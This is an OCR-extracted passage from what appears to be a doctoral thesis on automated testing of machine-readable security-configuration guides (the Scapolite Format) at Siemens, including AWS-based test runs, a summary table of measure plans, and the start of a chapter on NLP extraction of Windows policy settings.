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2.4.2. Our Approach to Test Automation

In order to automate testing as much as possible, we implemented the following approach:
Our tooling automatically executes a machine-readable test specification on VMs created
on-demand in AWS; the tooling carries out the specified test activities, collects the raw
data generated from implementation and check mechanisms, and automatically prepares
summary data and data comparisons required to analyze the tests.

This complete automation of test activities allows an author or maintainer to carry out
tests with no effort; the extensive pre-processing of the test data enables them to see
directly whether there are deviations from the expected results and enables them to focus
on analyzing the cause of these deviations.

Test Specification

With our YAML-based file format, we can define one or more test runs; they are executed
on different instances in parallel. We specify:

e for each test run, a sequence of activities such as implementing, checking, or reverting
rules (see Section 2.4.1);

e for each activity, a list of so-called validations; each validation compiles data from the
result or log files created by an activity (for example, validations can count successfully
checked rules, collect these rules’ identifiers, compare the current results to results of
previous activities, et cetera);

¢ for each validation, the expected results (as basis for regression tests along with each
validation)

The test specification file is kept under VC with the Scapolite sources for each security-
configuration guide.
Test Execution

We have implemented a test runner that is part of the DevOps pipeline that generates the
artifacts for implementation and checks. The test runner accesses the test specification file
in the repository and executes the tests:

¢ For each test run, the runner starts the required AWS image.

¢ The runner transfers the created artifacts and additional resources required for imple-
mentation/checking to the image.

¢ The runner uses Ansible to carry out the specified activities.

¢ In the end, the runner retrieves the created result/log files from each activity from the
image, stops and destroys it.
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Preprocessing of test results

As described in Section 2.4.2, we can specify validation tasks for each action carried out
in the test run. Hence, after the runner collected all raw data, the tooling carries out the
validation tasks: the required data is compiled, and a comparison to the expected results
specified in the test specification file is carried out.

As a final step, our tooling commits (1) a detailed log, (2) a report of found deviations, (3)
an updated test specification file with the current validation results, and (4) all raw data
retrieved from the image to a staging repository.

2.4.3. Test Specification

Structure of the test file

Listing 2.6 shows an exemplary test specification file, for a real test specification file, have
a look at Listing A.1. As detailed in Section 2.4.2, each test run specifies several activities
with a list of validations per activity (colored lines are referred to below):

* We specify two test runs (lines 5-6), one for the Level 2, i.e., high-security, profile of a
CIS Windows 10 (1809) Benchmark, the other one for the basic Level 1 profile. Here
we only show parts of the latter.

¢ As explained in Section 2.4.1, we start with a check of the unchanged system, using
the generated PowerShell scripts (line 11). The first validation activity (lines 15-21)
provides a count of the check result: how many rules were compliant, non-compliant,
et cetera. Here, as in all the following examples, the values defined in the test
specification file are the expected values taken from previous test runs.

¢ We continue using the generated PowerShell scripts to apply all rules (line 25) of the
chosen Level 1 profile (line 7). As we will discuss in more detail in Section 2.4.4, we
usually need to blacklist some rules (line 26) because there are rules breaking the test
mechanism, e.g., by disrupting connections to the test machine. Again, amongst other
things, we validate the number of successfully applied rules (line 30).

* We follow the rules” application with two check activities: we check with the generated
PowerShell script (lines 33ff) and an external scanner provided by the CIS [16] (lines
42ff).

— Here, we see an example of validating not just rule counts but the actual rule
identifiers, e.g., as we examine the rules that our script reports as non-compliant
(line 40). In line 39, a tester made a comment: the non-compliant rules correspond
to the blacklisted rules (in line 26).
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os_image: Windowsl0

os_image_version: 1809

ciscat_version: v4.0.20

testruns:

- name: 1809 L2 High Security (...)

— name: 1809_Levell Corporate_General_use
testrun_ps_profile: L1_Corp_Env_genUse
testrun_ciscat_profile: cisbenchmarks_profile_L1_Corp_Env_genUse
testrun_benchmark_filename: CIS_Win_10_1809-xccdf.xml
activities:

- id: initial_powershell_check
type: ps_scripts

sub_type: check_all

va

(...
id:

lidations:

sub_type: count

expected:

blacklist_rules: 0
compliant_checks: 75
non_compliant_checks: 272
empty_ checks: 2
unknown_checks: 2

)

apply_all

type: ps_scripts
sub_type: apply_all

bl
va

(.
id

acklist_rules: [R2_2_16, R2_3_1 1, ..., R18_9 _97_2_ 4]
lidations:
sub_type: count
expected:
applied_automations: 336
not_applied automations: 4
.
: check-after-apply-all-with-ps

type: ps_scripts
sub_type: check_all

va

(.
id

lidations:

sub_type: by_id

result: non_compliant_checks

comment: Correspond to blacklisted rules
check_ids: [R2_2_16, R2_3_1_1, ..., R18_9_97_2_4]

: check_after_apply_all_ciscat

type: ciscat

va

(.

lidations:

sub_type: compare

compare_with: check-after-apply-all-with-ps

expected:

comment: CISCAT error for 18.8.21.5
rules_failed only here: [R18_8_21_5, ...]
rules_unknown_only here: [R1_1_5, R1_1_6, R2_3_10_1]
rules_unknown_only_ there: [R18_2_1, ...]
rules_passed_only here: []

)

static:

— id:
type: examine_sfera_automation_json
validations:
— sub_type: count

expected:

validate_json_file

no_automation: 1

(...)

- sub_type: by_id
expected:

.)

no_automation: [R18_2_1]
same_setting: []

Listing 2.6.: A summarized version of a test specification file.

— We can also carry out other relevant comparisons automatically: For example, in
lines 45ff., the check results of the CIS scanner are compared with the results of
our PowerShell script; in line 49, under the keyword rules_failed_only_here,
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we see a list of rules which the CIS scanner reports as non-compliant, but our
PowerShell scripts report as compliant. Again, a tester added a comment (line
48) about the reasons for the deviations.

For example, for a specific rule, the CIS scanner requires that a particular setting
should not be configured, even though the human-readable description of the
rule requires that the setting should be disabled. Testers at Siemens re-discovered
systematic false positives like these repeatedly; by documenting such problems
of external scanners, testers can better focus on actual deviations.

e We also carry out static tests on the created artifacts (line 54ff.); the static tests are
always carried out as the very first test activity. For example, we examine the created
JSON file for entries without an automation (lines 60, 64) to catch errors during
maintenance, leading to a failure when creating automations. Another valuable check
is whether the same security setting is affected by several rules (line 65) since this
often points to an error made during the rules’ specification.

Management of the test specification file

When a test is carried out for the first time, the tester specifies the test runs, actions, and
validations but leaves the fields about expected values empty since she does not know
the expected values so far. When the test is completed, the test infrastructure generates a
version of the test specification file that contains all values from the tests’ results. The tester
can use this version of the file as a basis for the following tests.

We manage the test specification file and the Scapolite sources that are the input to the
pipeline in the same repository rather than at a separate location; similar to a
.gitlab-ci.yml, we store the test specification file under .scapolite_tests.yml.
Thus, during authoring/maintenance, when we create different branches, the test specifica-
tion file is always part of the particular branch, drives the branch, and test results are fed
back into the test specification file as expected results.

2.4.4. Execution of Tests
Testing in the cloud

Our test infrastructure started as a server equipped with VirtualBox for creating test images;
furthermore, we used Vagrant to manage image creation and destruction, Ansible for
carrying out the test activities, and transferring data between the server and the images.

This approach, though well-suited for developing the test infrastructure, could not scale.
The combinatorial explosion in test cases that occurs for security-configuration guides
often leads to many test cases. Thus, we firstly must run all test runs for a single test in
parallel to keep the time for executing a complete test acceptable. Secondly, we need several
authors/maintainers to work in parallel without the scarcity of test resources hindering
them.
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We, therefore, moved the testing process into the cloud and migrated from VirtualBox
to AWS EC2. In the beginning, we had to overcome some initial problems caused by
differences between VirtualBox and EC2 in credential management and the access of virtual
machines. Also, we had to redesign how we transfer data between the test runner and
the images. Using VirtualBox, the transfer of big files, e.g., the CIS-CAT scanner and a
JVM to run it on, is essentially a local file-copy operation, whereas, with EC2, a naive
implementation would constantly transfer these files via the Internet from the local test
runner to EC2. We thus integrated an S3 bucket into our architecture, in which we host
the files required for each test run: hence, we transfer the data rather within the AWS data
center than via the internet.

Integration into DevOps pipeline

We generate the artifacts for implementing and checking security configurations from
the Scapolite sources with a DevOps pipeline maintained as a GitLab CI/CD include file
within a dedicated repository. For each Scapolite repository, we include this file into the
GitLab CI/CD file; because we factored out the actual code for the pipeline, we (1) keep the
project’s ClI file very concise with only project-specific definitions, and (2) can carry out the
maintenance of the pipeline via the single pipeline repository.

In code development, when changes are pushed to the code repository, tests are run
changes are run. In our case, however, each test entails the creation of several virtual ma-
chines, and the execution of a test run may take up to an hour. We, therefore, chose to carry
out only static tests for each push but require an active request by the author/maintainer
for dynamic tests; we realized this via a pipeline variable EXECUTE_TESTS passed to the
pipeline.

Dealing with negative effects of secure configurations on test execution

In Section 2.4.3, we mentioned the blacklist definition required in test activities that
implement security settings to preserve the test infrastructure’s functionality. The infras-
tructure relies on specific mechanisms for accessing and manipulating the VM on which we
carry out the tests. Usually, the guides recommend disabling some of these mechanisms,
e.g., firewall rules, rules restricting the use of stored credentials, et cetera, which may
disrupt the WinRM functionality that Ansible uses. If we implemented one of these rules,
following test activities would cause Ansible to fail, with little or no information about
why the activity failed. In order to help the users with finding rules that break the test
infrastructure, we implemented the following features:

¢ Users can implement the rules in an apply activity one by one rather than in bulk. A
failure in execution can thus usually be attributed to the rule applied just before the
failure occurred.
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* To speed up test execution in this process of finding rules to blacklist, they can
configure the rule implementation to start either at a specific rule or at the last rule
contained in the blacklist; the guide specifies the rules” order. Unless a combination of
rules causes an execution failure, this suffices to find all rules that must be blacklisted.

2.4.5. User Feedback

As shown above, we have highly automated the testing process itself. However, the analysis
of the test results still requires human interaction. It is thus necessary to present the test
results such that they provide the user with a concise overview of whether something went
wrong and allow easy access to the raw data necessary for an in-depth analysis of problems
uncovered by the test.

Summary Report

Once we executed all test runs and the analyses and comparisons specified for each ac-
tivity have been carried out, our tooling generates a summary report providing concise
information for each activity:

1. Did failures occur during an activity, e.g., because a setting interrupted the connection
to the virtual image and the activity could not be completed?

2. If no failure occurred, did the test yield the expected results as documented in the test
specification file?

3. Where possible: if the test yielded different results, did the test show an improvement?
Were more rules implemented successfully than during the previous test run?

With item 3) we intend to provide the user with an initial assessment of the test results.
This, however, requires a definition of what constitutes an improvement/degradation. The
users can specify in the test specification file what an improvement should be along with
the expected data. For example, the key-value pair improvement : rise in combination
with a validation that counts results, e.g., the number of successfully implemented rules
or of checks showing compliance, signifies that a reported higher number constitutes
an improvement; improvement:fall would do the opposite. If no condition for an
improvement is specified, a degradation is reported by default if the test results do not
match the expected data.

Documentation of full results

In case a deeper analysis of the results becomes necessary, the users can access detailed
information about found deviations for each validation step: Listing 2.7 provides an ex-
ample of how a deviation is reported. Furthermore, users can access the raw data for each
activity within a staging repository containing the generated artifacts. Thus, all relevant
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CRITICAL - Validation failed, SAME numbers, but DIFFERENT IDs (IMPROVEMENT: 'fall')!

Expected and confirmed(found) 'unknown_checks' IDs: {'R18_2_1', 'R2_3_1_6', 'R2_2_21"',
— 'R2_3_1 5"}

Expected 'unknown_checks' IDs, but not found: {'R2_3_11_3'}

Found 'unknown_checks' IDs, but not expected: {'R19_7_41_1"}

Listing 2.7.: Example report of a difference between test results and expected results.

data are provided at one location. Also, they can use different mechanisms provided by git
and GitLab such as viewing differences between test executions, e.g., within the generated
artifacts, during the analysis of the test results.

Further automation

We provide further support to the users if they need to re-test several guides, e.g., when the
transformation mechanism was updated. These command-line scripts that use the GitLab
APT include tasks like:

e starting pipelines in parallel for several guides;
¢ informing about the pipelines’ status;
¢ compiling an overview with the results of all test pipelines;

¢ showing differences between the newly-generated artifacts and the latest published
version for each guide;

By automating repetitive manual tasks carried out for each guide, we achieve that tests
are executed frequently. Especially small or seemingly harmless changes are now more often
tested because we lowered the effort for starting the tests and analyzing the test results for
more than one guide significantly.

2.5. Impact of Scapolite at Siemens

After presenting our new approach for the security hardening and the Scapolite Format
and our new approach for the testing of security-configuration guides, we now want to
discuss the impact our approaches had on how authors write security-configuration guides
at Siemens. The authors at Siemens now write all Siemens security-configuration guides in
the Scapolite Format; as mentioned, the security-configuration guides are called measure
plans at Siemens. When the security team releases a new version of a measure plan, a CI
pipeline generates the artifacts and creates a new entry on the SFeRA. The SFeRA contains
all information security requirements applicable to Siemens and its affiliated companies.
Withing Siemens, the SFeRA is the single access point to quickly find specific and targeted
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SIEMENS & P Stoeckle, Author

Search  Policies & Rules  Cybersecurity Cards ~ Select Version ~ Reviews  Administration ~ About SFeRA

)\ SFerA
{ 24 ) Security Framework and Regulations Application
7

Security Baselines & Instructions | Mandatory Security Guide

Security Measure Plan for Apache HTTP Server Supporting Files and Documents
Security Measure Plan for Apple macOS 10.x

Security Measure Plan for Apple macOS 12.x Monterey

Security Measure Plan for Debian 10

Security Measure Plan for Google Chrome

Security Measure Plan for Jenkins LTS

Security Measure Plan for Microsoft 365 Apps for Enterprise

Security Measure Plan for Microsoft 365 Foundations

Security Measure Plan for Microsoft Edge

Security Measure Plan for Microsoft Endpoint Manager - Device Compliance Policy
Security Measure Plan for Microsoft Exchange Server 2016 (incl. Exchange Online)
Security Measure Plan for Microsoft Internet Explorer 11
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Security Measure Plan for Microsoft Internet Information Services 8

Security Measure Plan for Microsoft SQL Server 2016

Figure 2.5.: Screenshot of how meaure plans are presented at Siemens via the SFeRA.

information about mandatory security requirements needed for the secure planning and
operations of IT Infrastructure as well as for the secure handling of Siemens’ corporate
proprietary information. The development of SFeRA was not part of this thesis, but SFeRA
would not be possible without the Scapolite Format and our new approach to the security
hardening process. In Figure 2.5, one can see a subset of the currently available measure
plans in the SFeRA and how the SFeRA presents them. The SFeRA can open the measure
plan in the online view or download the PDF or XLSX.

In Table 2.1 at the end of this chapter, we present the current state of security configuration
at Siemens. In total, there are 8332 security-configuration rules in 49 different measure
plans. Note that these are only the Siemens measure plans. Some versions of CIS and
Compliance-as-Code guides are converted into the Scapolite Format internally available.
However, we did not include them in this calculation. Furthermore, not all measure plans
in Table 2.1 have already been released to SFeRA. Thus, the table has more measure plans
than the SFeRA. One can see in the number of measure plans regarding Windows-based
OSs and other Microsoft software the importance of this software in business environments.
This dominance of Windows within Siemens is one of the main reasons why this chapter
and this thesis, in general, use the configuration hardening of Windows-based systems as
the primary use case.
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The guide with the most rule is Windows 10, followed by Windows Server 2022. In the
number of rules and guides, one can see the focus on Windows-based infrastructure at
Siemens. However, the number of rules of the SLES, RHEL, Debian, and Ubuntu guides
show that Linux systems are not neglected.

26 security experts have crafted these guides based on their IT security knowledge,
internal sources, and public sources like the CIS benchmarks. They have created over 13,000
commits in the repositories for the different security-configuration guides. Although a single
author has created some guides, e.g., MS Exchange2013, the average security-configuration
guide at Siemens has 4.5 authors. This multi-authorship shows the importance of the
collaboration capabilities we supported via git/GitLab and their collaborative features like
merge requests. Assuming that the number of commits correlates with the effort spent on
a measure plan, most efforts went into Windows 10. These efforts reflect the importance
of the Windows 10 measure plan: This measure plan defines how every Windows 10
client at Siemens is hardened. Furthermore, all Siemens products that use Windows 10 as
the underlying OS are also hardened according to this measure plan. Thus, one cannot
overestimate the importance of this document for the security configuration at Siemens.

Since the introduction of the Scapolite Format and the corresponding tooling, over
1900 GitLab CI/CD pipelines have been started with over 9524 jobs. In the number of
GitLab CI/CD pipelines, one can see that the first focus for continuous testing security-
configuration guides at Siemens was Windows Server 2016. There have been over 980
pipelines with tests for this security-configuration guide. The following guides with the
most pipelines are Windows Server 2019 and Windows 10. The pipeline numbers for
Debian, RHEL, and SLES are lower than those of the Windows-based OSs. However, there
are now also testing pipelines for these Linux-based systems. Since the security experts
have recently intensified the work on the Linux-based measure plans, these numbers will
increase even further.

In summary, we can see that the Scapolite Format and our improved hardening process
is in active use at Siemens. Our approach has influenced how security experts at Siemens
write the measure plans. The increased productivity due to our improved process enables
Siemens to provide many measure plans with a relatively small team. However, one would
need comparable data about the authoring process from another organization not using
our process to evaluate this empirically.

2.6. Conclusion

We have developed an approach towards authoring and maintaining machine-readable
security-configuration guides that allows us to extend the DevOps principle of Continuous
Integration to this domain. We achieved this by creating the Scapolite Format that enables
authors to combine human-readable information with machine-readable information on
security-configuration requirements. Furthermore, each object, e.g., a rule or a group, has
its file, in contrast to SCAP. This single-file-per-object doctrine of the Scapolite Format
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makes managing guides in a VCS easier than managing the single SCAP files. Additionally,
all information needed to check or implement a rule is in one place, which reduces the
risk of inconsistencies between the check and the implementation. This information then
serves as input for a process that (1) automatically generates artifacts for implementation
and checking and (2) tests the created artifacts; we will discuss this automatic translation
process in the following chapter.

Because the authors can specify the rules on an abstract level and thus do not have to
manage such artifacts in parallel, we could significantly reduce the risk of errors because of
manual errors and inconsistencies.

Due to the high degree of automation in our proposed process, we test the security-
configuration guides and their generated artifacts much more frequently during authoring
and maintenance than in the normal case. As a result, we detect the majority of problems
before the release of a security-configuration guide.

In summary, our approach to security hardening via machine-readable security-con-
figuration guides combined with the automated testing allows us to publish automated,
well-tested mechanisms for implementing and checking along with the guide. Conse-
quently, compliance with these configurations can be reached in a more timely and less
error-prone manner, leading to better-secured systems.

Furthermore, we presented how our approach has influenced the way security experts
at Siemens write the Siemens measure plans. Thus, we could demonstrate that a big
company can use our approach in practice to harden their systems, and thus to increase
their security.
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Measureplan #Rules | #Commits | #Contributors | #Pipelines | #Jobs
Apache HTTP Server 93 163 6 0 0
Apple i0OS 25 24 4 0 0
Apple macOS12 77 68 5 0 0
Apple macOS13 67 228 6 0 0
Debian 10 237 318 6 42 207
Google Android 16 21 4 0 0
Google Chrome 80 65 4 0 0
Jenkins 37 37 2 0 0
MS Dynamics 365 16 35 3 0 0
MS Edge 199 457 4 20 110
MS Exchange 2013 27 6 1 0 0
MS Exchange 2016 53 208 5 0 0
MS Foundation 365 99 128 4 0 0
MS IE 118 14 3 0 0
MSIIS 8 89 144 4 0 0
MSIIS 10 88 386 4 0 0
Measureplan #Rules | #Commits | #Contributors | #Pipelines | #Jobs
MS Intune 23 30 3 0 0
MS Office 2010 47 7 2 0 0
MS Office 2016 254 578 7 122 638
MS TFS 35 45 4 0 0
MS Windows 7 230 87 5 0 0
MS Windows 10-intune 555 1425 14 0 0
MS Windows 10 573 1445 14 215 1262
MS Windows 11 428 56 2 10 60
MS WinServer2008R2 74 34 3 0 0
MS WinServer2012 455 1198 7 2 11
MS WinServer2016 535 1406 9 984 3985
MS WinServer2019 557 663 6 366 2386
MS WinServer2022 571 142 3 14 98
Measureplan #Rules | #Commits | #Contributors | #Pipelines | #Jobs
MS SQLServer2016 62 149 6 0 0
MS SQLServer2019 (CIS) 41 5 1 0 0
MS SQLServer2019 72 212 7 0 0
MS SQLServer2022 68 20 2 0 0
Oracle 12¢ 24 7 2 0 0
Oracle DB 12¢ 164 150 3 0 0
Oracle MySQL 5.6 17 6 2 0 0
Oracle MySQL 5.7 59 102 4 0 0
Oracle MySQL 5.8 77 69 4 0 0
PostgreSQL 15 88 143 3 40 35
RHEL 8 270 338 7 30 181
SAP Abap 554 875 5 0 0
SAP Hana 272 564 5 0 0
SAP Java 310 370 5 0 0
Measureplan #Rules | #Commits | #Contributors | #Pipelines | #Jobs
Siemens Teamcenter 43 129 4 0

SLES 15 268 661 7 108 551
Ubuntu 22 220 89 3 0 0
Unix Linux 65 216 4 0 0

[ Sum [ 8332 ] 13523 | 26 | 1953 [ 9524 |

Table 2.1.: All current measure plans at Siemens with the number of rules, numbers of git
commits, number of contributors working on them, number of GitLab CI/CD
pipelines, and number of GitLab CI/CD jobs.
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Windows-related Security-Configuration
Guides

In this chapter, we present how we can automatically implement existing
security-configuration guides. To achieve this, we use natural language process-
ing techniques. Parts of this chapter have previously appeared in [107], where
the author of this thesis is the first author and the only Ph.D. student within the
publication’s authors.

3.1. Introduction

As mentioned before, publishers like the CIS publish their security-configuration guides
in formats like PDF and the SCAP format XCCDF. In some cases, these implementations are
combined with machine-readable and automatable checks. The CIS creates these checks
manually according to the specification written down in the security-configuration guides.
Although XCCDF is designed as a machine-readable format, instructions for implementing
the security settings are only contained in human-readable form in almost all cases. One
can see an example for such a rule in Listing 3.1. Thus, automatic implementations (or
remediation) are not specified in the SCAP standard.

## /rule

The number of allowed bad logon attempts must be configured to three or less.

## /description

The account lockout feature, when enabled, prevents brute-force password attacks on the
— system. The higher this value is, the less effective the account lockout feature will
— be in protecting the local system. The number of bad logon attempts must be reasonably
— small to minimize the possibility of a successful password attack while allowing for
— honest errors made during normal user logon.

## /implementations/0/description

Configure the policy value for Computer Configuration >> Windows Settings >> Security

— Settings >> Account Policies >> Account Lockout Policy >> "Account lockout threshold"
— to "3" or fewer invalid logon attempts (excluding "O0", which is unacceptable).

Listing 3.1.: Example of a rule in a Windows-related security-configuration guide.
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Figure 3.1.: Current state of implementation of Windows-related security-configuration
guides.

Publishers sometimes deal with this problem by providing additional artifacts, such
as scripts or—in the case of Windows 10—configuration backup files. The problem here is
threefold. Firstly, such artifacts do not exist for all guides. Secondly, the guides frequently
get updated: If we take Windows 10 as an example, there will be at least one new guide
every year published to deal with the updated settings, e.g., introduced by the version
1909 update; minor version updates deal with problems or changed requirements. As
a result, DISA, for example, is now at version 18 for its Windows 10 guide. Therefore,
creating/maintaining a mechanism (even if it can be based on some artifact provided by
the publisher or) will be a recurring, manual task. Thirdly, with stand-alone artifacts for
implementation, customization of guides, a feature which is central to SCAP, becomes
cumbersome and error-prone, because this requires a manual effort to keep the customized
guide in sync with the separately-maintained implementation mechanism. However, easy
customization is essential: experience shows that there is virtually no use case in which a
publicly available security-configuration guide can be implemented without at least some
changes.

A simplified authoring process is depicted in Figure 3.1. The publisher creates the guide
in the XCCDF format and the corresponding checks in the OVAL format. This is a manual
process, as the publishers incorporate their knowledge about the system and its architecture
into the guide. In the next step, an administrator uses the automated checks to assess the
state of their systems. The result is a list of the rules to which the system is not compliant;
our evaluation in Section 3.3 of over 2000 rules on systems using the default configuration
shows that the rate of satisfied rules varies between 0% and 27%, with an average of
17.7%. Thus, for most of the rules, the (typically: default) configuration of the system to be
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./ Local Computer Policy & Prevent ensbling lock screen camera o X
v % Computer Configuration
| Software Settings [} Prevent enabling lock screen camera Next Setting
| Windows Settings
v (] Administrative Templates R
« [ Control Panel (® Not Configured
| Personalization O Enabled
Regional and Langu
| User Accounts O Disabled
| Network Supported on: [ At east Windows Server 2012 R2, Windows 8.1 or Windows RT&.1
| Printers
Server
| Start Menu and Taskbar | Options: Help:
-l System
| Windows Components Disables the lock screen camera toggle switch in PC Seftings and
2, All Settings prevents a camera from being invoked on the lock screen.
v & User Configuration
 Software Settings By default, users can enable invocation of an available camera on
3 Windows Settings the lock screen.

Administrative Templates If you enable this setting, users will no longer be able to enable
or disable lock screen camera access in PC Settings, and the
camera cannot be invoked on the lock screen.

oK Cancel

Figure 3.2.: Windows Policy regarding lock screen camera.

hardened has to be adjusted.

If the publisher has not provided a mechanism for automated implementation, for every
rule of this list, the administrator must read the implementation/remediation section of the
rule in the XCCDF or PDF form of the guide and implement the steps described there. If a
mechanism is provided, in most cases only a complete implementation of all configuration
settings is possible. This creates significant manual effort for customization, especially if
the implementation breaks functionality, but it is unclear which setting(s) have caused the
observed problems.

In sum, we address one main problem: there are existing guides in the SCAP to configure
systems securely, but we cannot implement the required configuration settings (taking
into account necessary customization and changes due to updates of the guides) without
significant manual effort.

In this chapter, we present our solution to this problem. Our solution to this problem,
realized for Windows operating systems and applications, consists of three major steps.
First, we process the files which define the Windows security policy settings that exist on a
Windows-based system. Windows security policy settings are rules that administrators con-
figure on a computer or multiple devices for the purpose of protecting resources on a device
or network. [69] We can configure a policy setting with a policy path and a value. To better
understand what a Windows policy setting is, have a look at the screenshot of the Windows
group policy editor in Figure 3.2. We find the setting Prevent enabling lock screen
camera under the path Computer Configuration\Administrative Templates
\Control Panel\Personalization. This policy is a simple Enabled/Disabled pol-
icy. In this case, the CIS recommends enabling the policy. Thus, an administrator can use
the GUI to implement the corresponding CIS rule. However, with the policy path and the
value, we could not —before this thesis— automatically implement this rule. The so-called
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Administrative Template (ADMX/ADML) files define the majority of policy settings. They
contain information about valid policy paths, possible values for each policy setting, and
the underlying implementation of a policy setting within the Windows registry. Thus, we
extract this knowledge in the first step and store it in a machine-readable format to access it
during the remediation. However, the Administrative Templates do not define all Windows
policy. There is a small number of audit settings. Windows stores the values of these audit
settings in a special CSV file. Moreover, some settings are stored in an . INF file, and one
can manipulate and check them via the Windows secedit command [68]. Second, we
use natural language processing to extract the settings and the intended values from the
guides. We use the information of the first step to verify that the extracted setting exists
and that the extracted value is a valid input for this setting and can, therefore, reduce the
risk of wrongly extracted values to a minimum. Third, we translate the settings and values
to their real implementation using the information from the first step. Our tools can use
this information to implement as well as check the configuration settings automatically.
Our contributions are:

* an approach to how existing Windows-related security-
configuration guides can be automatically implemented;

¢ a PoC implementation of our approach;

* astep-by-step documentation of our approach using the DISA Windows Server 2016
guide [109] and an updated version using the DISA Windows Server 2019 [97];

* an evaluation of our approach using existing guides from DISA and CIS with over
2000 rules [110].

In Section 3.2, we explain the general idea of our automatic implementation, and in the
subchapters, we present the technical details of our PoC implementation. In Section 3.3, we
use the DISA Windows Server 2016 guide and 12 CIS guides to demonstrate the feasibility
of our approach. In Section 3.4, we discuss challenges and first experiences in generalizing
our approach to non-Windows systems as well as additional future work. Section 7.2 treats
related work and Section 3.5 concludes.

3.2. Windows-related Security Configuration

Generic Approach The generic approach is depicted in Figure 3.3. It shows the different
stages of the envisioned process for automatically implementing Windows-related security-
configuration guides. More specifically, the separate steps are defined as follows.

Extraction: Use natural language processing (NLP) for each rule to auto-
matically extract the information needed to implement this rule.
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: Overview of the abstract hardening approach.

Check with an automated mechanism that checks whether the
derived information is valid:

— Does the extracted policy path indeed exist?
- Has the extracted value the required type for that setting?

— Does the extracted value meet the requirements of that
setting? Is it in the list of possible values or in the range of
allowed values?

If the path or the value is incorrect, the mechanism provides
useful feedback about possible paths or values.

Transform Windows policy settings into a representation of
one of the underlying low-level implementation mechanisms.
This step is necessary because almost none of the most popular
configuration-management frameworks can directly process
the Windows policy settings, but require the specification of an
underlying implementation mechanism:

- Registry settings
- Secedit policy file entries
- Audit file entries.

Transform these low-level implementation mechanisms into
code for carrying out the implementation of each setting.

Execute code on the system we want to harden to implement
the rules.

We emphasize that especially steps one and two are novel because-to our best knowledge—
there is no approach published that uses NLP to extract policy settings from SCAP guides,
nor is there an approach that verifies extracted values using definition files. For the evalua-
tion of our approach, we assumed that an evaluation of the complete systems provides more
evidence for the usefulness and feasibility of the presented approach than an evaluation of
the first two steps alone. Consequently, we had to design and implement the remaining
steps for our PoC implementation. In the end, we achieved the first published system that
reads Windows-related security-configuration guides in the SCAP format and implements

them automatically.
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Figure 3.4.: Overview of the steps of our actual implementation.

The approach in detail We discuss the details of our approach and demonstrate its
feasibility using a PoC (PoC) implementation.

The steps of our actual implementation, which we use as a PoC, are depicted in Figure 3.4.
We describe them shortly here and more in detail in the rest of this section.

The input of our PoC consists of guides in the SCAP format. In the first step, we
extract the necessary data for every rule to automate the implementation of this rule using
natural language processing. The result is a set of rules enriched with the configuration
settings in a machine-readable format. These configuration settings are then passed to the
verification process: it has to be verified that the extracted data (a Windows policy path
and required policy values) is valid. Our implementation uses the information of manually
created verification rules for what essentially are legacy configuration settings combined
with information extracted from the Windows Administrative Template files to verify the
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system: org.scapolite.implementation.win_gpo
ui_path: <String containing a valid Windows policy path, using
backslashes as separators>
value: <A \Gls{yaml} representation of a valid value for the
specified path>
verification_status: (Checked. | Unchecked.)

Listing 3.2.: Syntax of the Windows policy automation.

extracted values. To make the verification process as fast as possible, we process the latter
files a priori and store the information we need in a database format.

If the verification is successful, the low-level automation needed to implement the rule
is generated and also stored within the rule. Depending on the chosen implementation
mechanism, these are used to create (1) either a group policy backup, which then can be
imported on a Domain Controller to secure all systems in an Active Directory or (2) a JSON
file used by a PowerShell script for implementing the settings. Additionally, our tooling
can check the rules using the JSON files, but as SCAP already covers this aspect, we will
not look deeper into this facet of our PoC.

In our PoC implementation, only the second and third steps require a minimum of
manual interaction; the other steps are entirely automated. The dotted line between the
Verification and the Configuration Settings in Figure 3.4 indicates that the person automating
the security-configuration guide may have to execute the verification more than once and
adjust the values until every rule is marked as checked by the verification mechanism.

In the following, we describe each of these steps. Tooling has been carried out in Python,
except for a PowerShell framework for implementing and checking Windows security
configurations using the output of Step 4. As a real-life example, we use the DISA Win-
dows Server 2016 Security Technical Implementation Guide [25]. We created a GitHub
repository [109], where we conducted all the steps, and created a commit and a tag after
every step and reference them by their tags. !

3.2.1. Natural-language-processing-based extraction of Windows Policy
Automations

The first step of our PoC implementation is the extraction of the needed values using
NLP. Before we can extract the information needed to implement a Windows-related rule
automatically, we had to define the structure of the machine-readable constructs, how they
are integrated into the rule structure, and what has to be extracted to implement a rule.
For specifying Windows policy settings, the structure must provide information about
the policy path and the required value. The type of the value (string, list, integer, et cetera)

IFor representing the guide wihin Github, we use the YAML/Markdown-based Scapolite Format developed
within Siemens, which is better suited than SCAP for authoring and maintenance. The approach, though, is
independent of the format.
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O-F-0-0-C

Figure 3.5.: Example of an extraction rule as a nondeterministic finite automaton.

depends on the path; hence the specification of the automation syntax must refer to the set
of valid Windows policy settings as shown in Listing 3.2. Listing 3.3 shows the usage of a
policy automation in the rule SV-88407 of the Windows Server 2016 guide.

In an ideal scenario, the rule already contains the machine-readable automation objects,
but this is not the case for guides published in the SCAP. Thus, we needed to extract the
information about required policy settings from the human-readable description in the
guide. To this end, we used the Natural Language Toolkit (NLTK) [7]. Due to the highly
schematic structure of the guides under consideration, only eleven extraction rules had to
be defined to process most of the rules. One of the rules is presented here in Listing 3.4 and
Figure 3.5. The listing shows the definition of such an extraction rule as part of a grammar
in NLTK. IN, TO, etc. refer to the corresponding part-of-speech (POS) tags. As we have
eleven rules, our grammar to extract the values consists of eleven rule definitions. The
complete grammar with all eleven rules is part of the appendix as Listing A.5. To make
the idea more precise, Figure 3.5 is presenting the same rule as a nondeterministic finite
automaton; qo marks the start state and g;; the end state.

We use NLITK to label the text of the description of a rule with POS tags. Afterward, the
tagged sentences are passed to the grammar. If a sentence or a part of a sentence matches
an extraction rule, then we know that here we can extract information for the automatic
implementation. We use this sentence from rule SV-92831 as an example: “Configure the
policy value for Computer Configuration >> Administrative Templates >> MS Security Guide
>> Configure SMBv1 client driver to Enabled with Disable driver (recommended) selected for
Configure MrxSmb10 driver.” Now, we use NLTK to get the POS tags: ("Configure’, 'VB’),
(‘the’,'DT’), ..., (for’, 'IN’), ('Computer’, 'NNP’), ..., ("driver’,'NN’), ('to’, "TO’), ("Enabled’, "VB’),
(‘with’, 'IN’), ('Disable’, ’]]'), ..., (")’, ’)’), (selected’, "'VBN’), (for’, 'IN’), ('Configure’, 'NNP’),

., (driver’,'NN’), (".", ") The segment starting at for matches the pattern defined in the
extraction rule, and we would reach the end state of Figure 3.5. Using our definition of the
extraction rule, we know that we have the policy path in the part within the POS tags IN
and TO, the first value between TO and IN, the second value between IN and VBN, IN, and
